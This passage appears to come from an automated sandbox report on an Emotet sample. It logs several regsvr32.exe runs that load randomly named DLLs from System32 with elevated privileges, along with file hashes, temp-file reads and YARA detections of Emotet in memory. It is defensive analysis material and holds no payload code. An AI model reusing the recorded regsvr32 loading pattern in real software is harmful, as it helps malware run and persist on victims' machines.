"C:\Windows\system32\HXVNCi
Wla\DkEI.dll"

success or wait 1 180020877 RegSetValueEx
W

Target ID: 12

Start time: 08:06:58

Start date: 14/11/2022

Path: C:\Windows\System32\regsvr32.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\regsvr32.exe" "C:\Windows\system32\YsDsgPDHHUIQoh\TzrBJWzmduQmnx.dll

Imagebase: 0xff820000

File size: 19456 bytes

MD5 hash: 59BCE9F07985F8A4204F4D6554CFF708

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 
0000000C.00000002.1271971466.00000000003B0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: Windows_Trojan_Emotet_db7d33fa, Description: unknown, Source: 
0000000C.00000002.1271971466.00000000003B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 
0000000C.00000002.1272338835.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: Windows_Trojan_Emotet_db7d33fa, Description: unknown, Source: 
0000000C.00000002.1272338835.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: unknown

File Path Access Attributes Options Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Temp\AAA2.tmp read attributes | 
synchronize | 
generic read

device | sparse 
file

synchronous io 
non alert | non 
directory file

success or wait 1 18002B68A GetTempFile
NameW

Analysis Process: regsvr32.exe PID: 2148, Parent PID: 2372

General

Registry Activities

Key Value Created

Analysis Process: regsvr32.exe PID: 1792, Parent PID: 1860

General

File Activities

File Created
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File Path Access Attributes Options Completion Count Source Address Symbol

File Path Completion Count Source Address Symbol

Old File Path New File Path Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

Target ID: 13

Start time: 08:07:06

Start date: 14/11/2022

Path: C:\Windows\System32\regsvr32.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\regsvr32.exe" "C:\Windows\system32\LxJhBpIGuQtuqLqlk\rgLdvmpYAAMw.dll

Imagebase: 0xff820000

File size: 19456 bytes

MD5 hash: 59BCE9F07985F8A4204F4D6554CFF708

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 
0000000D.00000002.1293166483.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: Windows_Trojan_Emotet_db7d33fa, Description: unknown, Source: 
0000000D.00000002.1293166483.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: unknown
Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 
0000000D.00000002.1292663016.00000000004B0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: Windows_Trojan_Emotet_db7d33fa, Description: unknown, Source: 
0000000D.00000002.1292663016.00000000004B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown

File Path Access Attributes Options Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Temp\D116.tmp read attributes | 
synchronize | 
generic read

device | sparse 
file

synchronous io 
non alert | non 
directory file

success or wait 1 18002B68A GetTempFile
NameW

File Path Completion Count Source Address Symbol

Old File Path New File Path Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

Target ID: 15

Start time: 08:08:15

Start date: 14/11/2022

Path: C:\Windows\System32\regsvr32.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\regsvr32.exe" "C:\Windows\system32\HXVNCiWla\DkEI.dll

Imagebase: 0xff820000

File size: 19456 bytes

MD5 hash: 59BCE9F07985F8A4204F4D6554CFF708

Analysis Process: regsvr32.exe PID: 316, Parent PID: 1860

General

File Activities

File Created

Analysis Process: regsvr32.exe PID: 2088, Parent PID: 1860

General
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Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 
0000000F.00000002.1379957935.00000000002D0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: Windows_Trojan_Emotet_db7d33fa, Description: unknown, Source: 
0000000F.00000002.1379957935.00000000002D0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 
0000000F.00000002.1380702189.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: Windows_Trojan_Emotet_db7d33fa, Description: unknown, Source: 
0000000F.00000002.1380702189.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: unknown
Rule: JoeSecurity_Emotet_3, Description: Yara detected Emotet, Source: 
0000000F.00000002.1380049147.000000000037A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

⊘ No disassembly

Disassembly
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